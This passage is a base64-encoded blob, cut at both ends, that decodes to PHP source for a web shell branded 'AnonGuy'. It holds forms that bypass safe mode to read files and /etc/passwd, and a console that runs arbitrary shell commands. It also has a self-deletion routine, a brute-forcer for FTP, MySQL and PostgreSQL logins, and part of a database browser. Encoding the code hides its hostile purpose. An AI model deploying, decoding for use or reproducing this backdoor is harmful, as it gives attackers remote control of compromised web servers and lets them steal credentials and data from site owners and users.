HlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkN1cmwgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMyIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkluaV9yZXN0b3JlIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjQiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5Qb3NpeF9nZXRwd3VpZCAoIlJlYWQiIC9ldGMvcGFzc3dkKTwvc3Bhbj48dGFibGU+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNSIsdGhpcy5wYXJhbTEudmFsdWUsdGhpcy5wYXJhbTIudmFsdWUpO3JldHVybiBmYWxzZTtcJz48dHI+PHRkPkZyb208L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3RyPjx0cj48dGQ+VG88L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48YnI+PHNwYW4+SW1hcF9vcGVuIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjYiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQogICAgaWYoJHRlbXApDQogICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9Im1sMSIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBpZD0iT3V0cHV0Ij4nLiR0ZW1wLic8L3ByZT4nOw0KICAgIGVjaG8gJzwvZGl2Pic7DQogICAgcHJpbnRGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uQ29uc29sZSgpIHsNCiAgICBpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSB0cnVlOw0KICAgICAgICBvYl9zdGFydCgpOw0KICAgICAgICBlY2hvICJkb2N1bWVudC5jZi5jbWQudmFsdWU9Jyc7XA0KIjsNCiAgICAgICAgJHRlbXAgPSBAaWNvbnYoJF9QT1NUWydjaGFyc2V0J10sICdVVEYtOCcsIGFkZGNzbGFzaGVzKCJcDQokICIuJF9QT1NUWydwMSddLiJcDQoiLmV4KCRfUE9TVFsncDEnXSksIlwNClwNClx0XFwnXDAiKSk7DQogICAgICAgIGlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkgICAgew0KICAgICAgICAgICAgaWYoQGNoZGlyKCRtYXRjaFsxXSkpIHsNCiAgICAgICAgICAgICAgICAkR0xPQkFMU1snY3dkJ10gPSBAZ2V0Y3dkKCk7DQogICAgICAgICAgICAgICAgZWNobyAiZG9jdW1lbnQubWYuYy52YWx1ZT0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBlY2hvICJkb2N1bWVudC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7DQogICAgICAgIGVjaG8gImRvY3VtZW50LmNmLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7DQogICAgICAgICR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7DQogICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIlwNCiIsICR0ZW1wOw0KICAgICAgICBleGl0Ow0KICAgIH0NCiAgICBwcmludEhlYWRlcigpOw0KDQplY2hvICc8c2NyaXB0Pg0KaWYod2luZG93LkV2ZW50KSB3aW5kb3cuY2FwdHVyZUV2ZW50cyhFdmVudC5LRVlET1dOKTsNCnZhciBjbWRzID0gbmV3IEFycmF5KCIiKTsNCnZhciBjdXIgPSAwOw0KZnVuY3Rpb24ga3AoZSkgew0KICAgIHZhciBuID0gKHdpbmRvdy5FdmVudCkgPyBlLndoaWNoIDogZS5rZXlDb2RlOw0KICAgIGlmKG4gPT0gMzgpIHsNCiAgICAgICAgY3VyLS07DQogICAgICAgIGlmKGN1cj49MCkNCiAgICAgICAgICAgIGRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsNCiAgICAgICAgZWxzZQ0KICAgICAgICAgICAgY3VyKys7DQogICAgfSBlbHNlIGlmKG4gPT0gNDApIHsNCiAgICAgICAgY3VyKys7DQogICAgICAgIGlmKGN1ciA8IGNtZHMubGVuZ3RoKQ0KICAgICAgICAgICAgZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOw0KICAgICAgICBlbHNlDQogICAgICAgICAgICBjdXItLTsNCiAgICB9DQp9DQpmdW5jdGlvbiBhZGQoY21kKSB7DQogICAgY21kcy5wb3AoKTsNCiAgICBjbWRzLnB1c2goY21kKTsNCiAgICBjbWRzLnB1c2goIiIpOw0KICAgIGN1ciA9IGNtZHMubGVuZ3RoLTE7DQp9DQo8L3NjcmlwdD4nOw0KICAgIGVjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1jZiBvbnN1Ym1pdD0iaWYoZG9jdW1lbnQuY2YuY21kLnZhbHVlPT1cJ2NsZWFyXCcpe2RvY3VtZW50LmNmLm91dHB1dC52YWx1ZT1cJ1wnO2RvY3VtZW50LmNmLmNtZC52YWx1ZT1cJ1wnO3JldHVybiBmYWxzZTt9YWRkKHRoaXMuY21kLnZhbHVlKTtpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jbWQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlKTt9IHJldHVybiBmYWxzZTsiPjxzZWxlY3QgbmFtZT1hbGlhcz4nOw0KICAgIGZvcmVhY2goJEdMT0JBTFNbJ2FsaWFzZXMnXSBhcyAkbiA9PiAkdikgew0KICAgICAgICBpZigkdiA9PSAnJykgew0KICAgICAgICAgICAgZWNobyAnPG9wdGdyb3VwIGxhYmVsPSItJy5odG1sc3BlY2lhbGNoYXJzKCRuKS4nLSI+PC9vcHRncm91cD4nOw0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOw0KICAgIH0NCiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOw0KICAgIGVjaG8gJzwvc2VsZWN0PjxpbnB1dCB0eXBlPWJ1dHRvbiBvbmNsaWNrPSJhZGQoZG9jdW1lbnQuY2YuYWxpYXMudmFsdWUpO2lmKGRvY3VtZW50LmNmLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsZG9jdW1lbnQuY2YuYWxpYXMudmFsdWUpO31lbHNle2cobnVsbCxudWxsLGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlKTt9IiB2YWx1ZT0iPj4iPiA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLigkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWDxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDsiIHJlYWRvbmx5Pic7DQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcDQoiLmV4KCRfUE9TVFsncDEnXSkpOw0KICAgIH0NCiAgICBlY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlci10b3A6MDt3aWR0aDoxMDAlOyIgb25rZXlkb3duPSJrcChldmVudCk7Ij4nOw0KICAgIGVjaG8gJzwvZm9ybT48L2Rpdj48c2NyaXB0PmRvY3VtZW50LmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7DQogICAgcHJpbnRGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uTG9nb3V0KCkgew0KICAgIHVuc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pOw0KICAgIGVjaG8gJzxib2R5IGJnY29sb3I9IzAwMDAwMD48Y2VudGVyPjxpbWcgc3JjPSJodHRwOi8vczE2LnBvc3RpbWcub3JnLzZ2NGJidzF1dC9VbnRqaXRsZWRfMS5qcGciPjwvY2VudGVyPjwvYm9keT4nOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25TZWxmUmVtb3ZlKCkgew0KICAgIHByaW50SGVhZGVyKCk7DQogICAgaWYoJF9QT1NUWydwMSddID09ICd5ZXMnKSB7DQogICAgICAgIGlmKEB1bmxpbmsoU0VMRl9QQVRIKSkNCiAgICAgICAgICAgIGRpZSgnVGhhbmsgWW91IEZvciBZb3VyIEhvc3BpdGFsaXR5LCBBbm9uR3V5ICEhJyk7DQogICAgICAgIGVsc2UNCiAgICAgICAgICAgIGVjaG8gJ3VubGluayBlcnJvciEnOw0KICAgIH0NCiAgICBlY2hvICc8aDE+U3VpY2lkZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50PllvdSByZWFsbHkgd2FudCB0byByZW1vdmUgbWU/PGJyPjxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJ3llc1wnKSI+WWVzPC9hPjwvZGl2Pic7DQogICAgcHJpbnRGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uQnJ1dGVmb3JjZSgpIHsNCiAgICBwcmludEhlYWRlcigpOw0KICAgIGlmKCBpc3NldCgkX1BPU1RbJ3Byb3RvJ10pICkgew0KICAgICAgICBlY2hvICc8aDE+UmVzdWx0czwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzcGFuPlR5cGU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwcm90byddKS4nIDxzcGFuPlNlcnZlcjo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NlcnZlciddKS4nPGJyPic7DQogICAgICAgIGlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ2Z0cCcgKSB7DQogICAgICAgICAgICBmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsNCiAgICAgICAgICAgICAgICAkZnAgPSBAZnRwX2Nvbm5lY3QoJGlwLCAkcG9ydD8kcG9ydDoyMSk7DQogICAgICAgICAgICAgICAgaWYoISRmcCkgcmV0dXJuIGZhbHNlOw0KICAgICAgICAgICAgICAgICRyZXMgPSBAZnRwX2xvZ2luKCRmcCwgJGxvZ2luLCAkcGFzcyk7DQogICAgICAgICAgICAgICAgQGZ0cF9jbG9zZSgkZnApOw0KICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdteXNxbCcgKSB7DQogICAgICAgICAgICBmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsNCiAgICAgICAgICAgICAgICAkcmVzID0gQG15c3FsX2Nvbm5lY3QoJGlwLic6Jy4kcG9ydD8kcG9ydDozMzA2LCAkbG9naW4sICRwYXNzKTsNCiAgICAgICAgICAgICAgICBAbXlzcWxfY2xvc2UoJHJlcyk7DQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXM7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ3Bnc3FsJyApIHsNCiAgICAgICAgICAgIGZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgew0KICAgICAgICAgICAgICAgICRzdHIgPSAiaG9zdD0nIi4kaXAuIicgcG9ydD0nIi4kcG9ydC4iJyB1c2VyPSciLiRsb2dpbi4iJyBwYXNzd29yZD0nIi4kcGFzcy4iJyBkYm5hbWU9JyciOw0KICAgICAgICAgICAgICAgICRyZXMgPSBAcGdfY29ubmVjdCgkc2VydmVyWzBdLic6Jy4kc2VydmVyWzFdPyRzZXJ2ZXJbMV06NTQzMiwgJGxvZ2luLCAkcGFzcyk7DQogICAgICAgICAgICAgICAgQHBnX2Nsb3NlKCRyZXMpOw0KICAgICAgICAgICAgICAgIHJldHVybiAkcmVzOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgICRzdWNjZXNzID0gMDsNCiAgICAgICAgJGF0dGVtcHRzID0gMDsNCiAgICAgICAgJHNlcnZlciA9IGV4cGxvZGUoIjoiLCAkX1BPU1RbJ3NlcnZlciddKTsNCiAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgew0KICAgICAgICAgICAgJHRlbXAgPSBAZmlsZSgnL2V0Yy9wYXNzd2QnKTsNCiAgICAgICAgICAgIGlmKCBpc19hcnJheSgkdGVtcCkgKQ0KICAgICAgICAgICAgICAgIGZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsNCiAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSBleHBsb2RlKCI6IiwgJGxpbmUpOw0KICAgICAgICAgICAgICAgICAgICArKyRhdHRlbXB0czsNCiAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3VjY2VzcysrOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8YnI+JzsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZihAJF9QT1NUWydyZXZlcnNlJ10pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0bXAgPSAiIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAtLSRpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0bXAgLj0gJGxpbmVbMF1bJGldOw0KICAgICAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiggYnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdWNjZXNzKys7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPC9iPjonLmh0bWxzcGVjaWFsY2hhcnMoJHRtcCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsNCiAgICAgICAgICAgICR0ZW1wID0gQGZpbGUoJF9QT1NUWydkaWN0J10pOw0KICAgICAgICAgICAgaWYoIGlzX2FycmF5KCR0ZW1wKSApDQogICAgICAgICAgICAgICAgZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgew0KICAgICAgICAgICAgICAgICAgICAkbGluZSA9IHRyaW0oJGxpbmUpOw0KICAgICAgICAgICAgICAgICAgICArKyRhdHRlbXB0czsNCiAgICAgICAgICAgICAgICAgICAgaWYoIGJydXRlRm9yY2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkgKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3VjY2VzcysrOw0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnbG9naW4nXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lKS4nPGJyPic7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7DQogICAgfQ0KICAgIGVjaG8gJzxoMT5GVFAgQnJ1dGVGb3JjZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjx0YWJsZT48Zm9ybSBtZXRob2Q9cG9zdD48dHI+PHRkPjxzcGFuPlR5cGU8L3NwYW4+PC90ZD4nDQogICAgICAgIC4nPHRkPjxzZWxlY3QgbmFtZT1wcm90bz48b3B0aW9uIHZhbHVlPWZ0cD5GVFA8L29wdGlvbj48b3B0aW9uIHZhbHVlPW15c3FsPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1wZ3NxbD5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+Jw0KICAgICAgICAuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPicNCiAgICAgICAgLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhJ10pLiciPicNCiAgICAgICAgLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydjaGFyc2V0J10pLiciPicNCiAgICAgICAgLic8c3Bhbj5TZXJ2ZXI6UG9ydDwvc3Bhbj48L3RkPicNCiAgICAgICAgLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNlcnZlciB2YWx1ZT0iMTI3LjAuMC4xIj48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PHNwYW4+QnJ1dGUgdHlwZTwvc3Bhbj48L3RkPicNCiAgICAgICAgLic8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iMSIgY2hlY2tlZD4gL2V0Yy9wYXNzd2Q8L2xhYmVsPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWwgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXJldmVyc2UgdmFsdWU9MSBjaGVja2VkPiByZXZlcnNlIChsb2dpbiAtPiBuaWdvbCk8L2xhYmVsPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIyIj4gRGljdGlvbmFyeTwvbGFiZWw+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjwvdGQ+PHRkPjx0YWJsZSBzdHlsZT0icGFkZGluZy1sZWZ0OjE1cHgiPjx0cj48dGQ+PHNwYW4+TG9naW48L3NwYW4+PC90ZD4nDQogICAgICAgIC4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2dpbiB2YWx1ZT0iQW5vbkd1eSI+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjxzcGFuPkRpY3Rpb25hcnk8L3NwYW4+PC90ZD4nDQogICAgICAgIC4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1kaWN0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4ncGFzc3dkLmRpYyI+PC90ZD48L3RyPjwvdGFibGU+Jw0KICAgICAgICAuJzwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4nOw0KICAgIGVjaG8gJzwvZGl2Pjxicj4nOw0KICAgIHByaW50Rm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblNxbCgpIHsNCiAgICBjbGFzcyBEYkNsYXNzIHsNCiAgICAgICAgdmFyICR0eXBlOw0KICAgICAgICB2YXIgJGxpbms7DQogICAgICAgIHZhciAkcmVzOw0KICAgICAgICBmdW5jdGlvbiBEYkNsYXNzKCR0eXBlKSAgICB7DQogICAgICAgICAgICAkdGhpcy0+dHlwZSA9ICR0eXBlOw0KICAgICAgICB9DQogICAgICAgIGZ1bmN0aW9uIGNvbm5lY3QoJGhvc3QsICR1c2VyLCAkcGFzcywgJGRibmFtZSl7DQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsNCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIGlmKCAkdGhpcy0+bGluayA9IEBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLHRydWUpICkgcmV0dXJuIHRydWU7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgJ3Bnc3FsJzoNCiAgICAgICAgICAgICAgICAgICAgJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOw0KICAgICAgICAgICAgICAgICAgICBpZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7DQogICAgICAgICAgICAgICAgICAgIGlmKCAkdGhpcy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSApIHJldHVybiB0cnVlOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBzZWxlY3RkYigkZGIpIHsNCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgew0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgaWYgKEBteXNxbF9zZWxlY3RfZGIoJGRiKSlyZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gcXVlcnkoJHN0cikgew0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSB7DQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbF9xdWVyeSgkc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsNCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gZmV0Y2goKSB7DQogICAgICAgICAgICAkcmVzID0gZnVuY19udW1fYXJncygpP2Z1bmNfZ2V0X2FyZygwKTokdGhpcy0+cmVzOw0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7DQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOw0KICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7DQogICAgICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGZ1bmN0aW9uIGxpc3REYnMoKSB7DQogICAgICAgICAgICBzd2l0Y2goJHRoaXMtPnR5cGUpICAgIHsNCiAgICAgICAgICAgICAgICBjYXNlICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsX2xpc3RfZGJzKCR0aGlzLT5saW5rKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6DQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIik7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgew0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgic2VsZWN0IHRhYmxlX25hbWUgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlICh0YWJsZV9zY2hlbWEgIT0gJ2luZm9ybWF0aW9uX3NjaGVtYScgQU5EIHRhYmxlX3NjaGVtYSAhPSAncGdfY2F0YWxvZycpIG9yIHRhYmxlX25hbWUgPSAncGdfdXNlciciKTsNCiAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgfQ0KICAgICAgICBmdW5jdGlvbiBlcnJvcigpIHsNCiAgICAgICAgICAgIHN3aXRjaCgkdGhpcy0+dHlwZSkgICAgew0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzoNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBteXNxbF9lcnJvcigkdGhpcy0+bGluayk7DQogICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOg0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gQHBnX2xhc3RfZXJyb3IoJHRoaXMtPmxpbmspOw0KICAgICAgICAgICAgICAgIGJyZWFrOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIGZ1bmN0aW9uIHNldENoYXJzZXQoJHN0cikgew0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7DQogICAgICAgICAgICAgICAgY2FzZSAnbXlzcWwnOg0KICAgICAgICAgICAgICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX3NldF9jaGFyc2V0JykpDQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5rKTsNCiAgICAgIC